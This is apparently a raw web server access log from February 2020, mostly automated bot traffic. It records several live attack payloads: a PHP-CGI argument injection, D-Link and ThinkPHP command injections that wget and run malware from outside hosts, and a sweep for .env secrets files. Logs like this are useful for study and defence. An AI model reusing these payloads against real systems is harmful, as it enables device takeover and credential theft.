79.130.8.59 - - [24/Feb/2020:04:07:02 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
79.8.114.104 - - [24/Feb/2020:04:07:55 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
45.143.220.189 - - [24/Feb/2020:04:09:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
194.180.224.249 - - [24/Feb/2020:04:12:38 +0100] "POST /cgi-bin/php5?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 404 317 "-" "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25"
79.45.121.69 - - [24/Feb/2020:04:13:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
45.143.220.189 - - [24/Feb/2020:04:16:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
41.223.235.78 - - [24/Feb/2020:04:18:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
170.79.82.44 - - [24/Feb/2020:04:19:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
91.39.63.49 - - [24/Feb/2020:04:22:06 +0100] "GET /phpmyadmin/index.php?pma_username=popa3d&pma_password= HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.180.224.249 - - [24/Feb/2020:04:22:56 +0100] "POST /cgi-bin/php5?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 404 317 "-" "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25"
187.193.11.159 - - [24/Feb/2020:04:22:57 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
194.180.224.249 - - [24/Feb/2020:04:24:43 +0100] "POST /cgi-bin/php5?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 404 317 "-" "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25"
107.6.169.250 - - [24/Feb/2020:04:29:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36"
128.14.134.170 - - [24/Feb/2020:04:30:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
139.162.119.197 - - [24/Feb/2020:04:30:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
86.127.209.212 - - [24/Feb/2020:04:34:07 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
222.186.19.221 - - [24/Feb/2020:04:37:35 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
200.24.220.60 - - [24/Feb/2020:04:37:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
222.186.19.221 - - [24/Feb/2020:04:38:09 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
187.188.93.96 - - [24/Feb/2020:04:38:58 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
34.221.74.133 - - [24/Feb/2020:04:40:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6"
186.139.141.66 - - [24/Feb/2020:04:45:13 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
46.107.81.114 - - [24/Feb/2020:04:49:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
141.8.189.150 - - [24/Feb/2020:04:49:11 +0100] "GET /robots.txt HTTP/1.1" 404 318 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)"
141.8.189.150 - - [24/Feb/2020:04:49:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)"
222.186.19.221 - - [24/Feb/2020:04:52:59 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
41.46.36.182 - - [24/Feb/2020:04:54:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
222.186.19.221 - - [24/Feb/2020:04:54:25 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
222.186.19.221 - - [24/Feb/2020:04:58:03 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
91.246.67.42 - - [24/Feb/2020:04:59:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
103.55.245.142 - - [24/Feb/2020:04:59:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.58.224.155 - - [24/Feb/2020:04:59:44 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.01712517 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
222.82.51.146 - - [24/Feb/2020:05:00:22 +0100] "HEAD http://10010.ah165.net:8088/hsp/out_of_service.jsp?custcode=055109940979 HTTP/1.0" 404 - "-" "Mozilla/5.01682558 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/537.36(KHTML, like Gecko) Chrome/40.0.2214.89 Safari/537.36"
222.186.19.221 - - [24/Feb/2020:05:01:26 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
222.186.19.221 - - [24/Feb/2020:05:01:46 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
222.186.19.221 - - [24/Feb/2020:05:10:57 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
194.180.224.249 - - [24/Feb/2020:05:11:20 +0100] "POST /cgi-bin/php5?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 404 317 "-" "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25"
173.255.186.130 - - [24/Feb/2020:05:13:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
222.186.19.221 - - [24/Feb/2020:05:13:21 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
222.186.19.221 - - [24/Feb/2020:05:13:36 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
113.128.104.101 - - [24/Feb/2020:05:16:15 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"
213.111.201.198 - - [24/Feb/2020:05:19:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
49.68.246.198 - - [24/Feb/2020:05:21:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
46.12.7.113 - - [24/Feb/2020:05:22:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
194.180.224.249 - - [24/Feb/2020:05:23:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
118.24.121.69 - - [24/Feb/2020:05:26:20 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
37.29.81.19 - - [24/Feb/2020:05:29:54 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
110.80.155.14 - - [24/Feb/2020:05:31:27 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.01688858 Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.75 Safari/537.36"
49.68.246.198 - - [24/Feb/2020:05:32:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
93.84.87.173 - - [24/Feb/2020:05:32:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
175.141.155.221 - - [24/Feb/2020:05:34:36 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
37.53.101.226 - - [24/Feb/2020:05:36:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
176.193.74.103 - - [24/Feb/2020:05:36:48 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
111.162.146.73 - - [24/Feb/2020:05:38:33 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.01688858 Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.75 Safari/537.36"
111.43.223.181 - - [24/Feb/2020:05:39:23 +0100] "POST /GponForm/diag_Form?images/ HTTP/1.1" 404 319 "-" "Hello, World"
223.18.240.25 - - [24/Feb/2020:05:40:20 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
213.190.166.70 - - [24/Feb/2020:05:41:21 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
213.190.166.70 - - [24/Feb/2020:05:41:26 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
213.190.166.70 - - [24/Feb/2020:05:42:05 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
162.243.132.169 - - [24/Feb/2020:05:42:38 +0100] "GET /manager/text/list HTTP/1.1" 404 322 "-" "Mozilla/5.0 zgrab/0.x"
189.187.247.138 - - [24/Feb/2020:05:43:04 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.156.219.164 - - [24/Feb/2020:05:43:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://2.56.8.156/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [24/Feb/2020:05:43:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [24/Feb/2020:05:43:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [24/Feb/2020:05:43:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [24/Feb/2020:05:43:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [24/Feb/2020:05:44:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
185.234.218.174 - - [24/Feb/2020:05:44:28 +0100] "GET /vod_installer/.env HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [24/Feb/2020:05:44:28 +0100] "GET /login/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [24/Feb/2020:05:44:28 +0100] "GET /apps/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [24/Feb/2020:05:44:28 +0100] "GET /docker/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [24/Feb/2020:05:44:28 +0100] "GET /engine/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [24/Feb/2020:05:44:28 +0100] "GET /.env HTTP/1.1" 404 309 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [24/Feb/2020:05:44:28 +0100] "GET /inc/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [24/Feb/2020:05:44:28 +0100] "GET /development/.env HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [24/Feb/2020:05:44:28 +0100] "GET /system/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [24/Feb/2020:05:44:28 +0100] "GET /admin/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [24/Feb/2020:05:44:28 +0100] "GET /react/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [24/Feb/2020:05:44:28 +0100] "GET /travis/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [24/Feb/2020:05:44:28 +0100] "GET /app/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [24/Feb/2020:05:44:28 +0100] "GET /sources/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [24/Feb/2020:05:44:28 +0100] "GET /backend/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [24/Feb/2020:05:44:29 +0100] "GET /protected/.env HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [24/Feb/2020:05:44:29 +0100] "GET /laravel/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [24/Feb/2020:05:44:29 +0100] "GET /auth/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [24/Feb/2020:05:44:29 +0100] "GET /scripts/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [24/Feb/2020:05:44:29 +0100] "GET /personal/.env HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [24/Feb/2020:05:44:29 +0100] "GET /cp/.env HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [24/Feb/2020:05:44:29 +0100] "GET /project/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [24/Feb/2020:05:44:29 +0100] "GET /shared/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [24/Feb/2020:05:44:29 +0100] "GET /server/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [24/Feb/2020:05:44:29 +0100] "GET /config/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [24/Feb/2020:05:44:29 +0100] "GET /private/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [24/Feb/2020:05:44:29 +0100] "GET /web/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [24/Feb/2020:05:44:29 +0100] "GET /search/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [24/Feb/2020:05:44:29 +0100] "GET /cron/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [24/Feb/2020:05:44:29 +0100] "GET /src/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [24/Feb/2020:05:44:29 +0100] "GET /master/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [24/Feb/2020:05:44:29 +0100] "GET /application/.env HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [24/Feb/2020:05:44:29 +0100] "GET /frontend/.env HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [24/Feb/2020:05:44:30 +0100] "GET /rest/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [24/Feb/2020:05:44:30 +0100] "GET /mods/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [24/Feb/2020:05:44:30 +0100] "GET /routes/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [24/Feb/2020:05:44:30 +0100] "GET /~dev/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [24/Feb/2020:05:44:30 +0100] "GET /dev/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [24/Feb/2020:05:44:30 +0100] "GET /site/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [24/Feb/2020:05:44:30 +0100] "GET /back/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [24/Feb/2020:05:44:30 +0100] "GET /api/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [24/Feb/2020:05:44:30 +0100] "GET /laravel-artisan/.env HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [24/Feb/2020:05:44:30 +0100] "GET /local/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.218.174 - - [24/Feb/2020:05:44:30 +0100] "GET /core/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
162.243.132.169 - - [24/Feb/2020:05:44:38 +0100] "GET /manager/text/list HTTP/1.1" 404 322 "-" "Mozilla/5.0 zgrab/0.x"
162.243.132.169 - - [24/Feb/2020:05:44:51 +0100] "GET /manager/text/list HTTP/1.1" 404 322 "-" "Mozilla/5.0 zgrab/0.x"
162.243.132.169 - - [24/Feb/2020:05:44:57 +0100] "GET /manager/text/list HTTP/1.1" 404 322 "-" "Mozilla/5.0 zgrab/0.x"
162.243.132.169 - - [24/Feb/2020:05:45:07 +0100] "GET /manager/text/list HTTP/1.1" 404 322 "-" "Mozilla/5.0 zgrab/0.x"
162.243.132.169 - - [24/Feb/2020:05:45:25 +0100] "GET /manager/text/list HTTP/1.1" 404 322 "-" "Mozilla/5.0 zgrab/0.x"
162.243.132.169 - - [24/Feb/2020:05:46:53 +0100] "GET /manager/text/list HTTP/1.1" 404 322 "-" "Mozilla/5.0 zgrab/0.x"
162.243.132.169 - - [24/Feb/2020:05:46:54 +0100] "GET /manager/text/list HTTP/1.1" 404 322 "-" "Mozilla/5.0 zgrab/0.x"
193.77.78.27 - - [24/Feb/2020:05:47:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
162.243.132.169 - - [24/Feb/2020:05:47:28 +0100] "GET /manager/text/list HTTP/1.1" 404 322 "-" "Mozilla/5.0 zgrab/0.x"
162.243.132.169 - - [24/Feb/2020:05:47:41 +0100] "GET /manager/text/list HTTP/1.1" 404 322 "-" "Mozilla/5.0 zgrab/0.x"
58.248.200.164 - - [24/Feb/2020:05:49:29 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
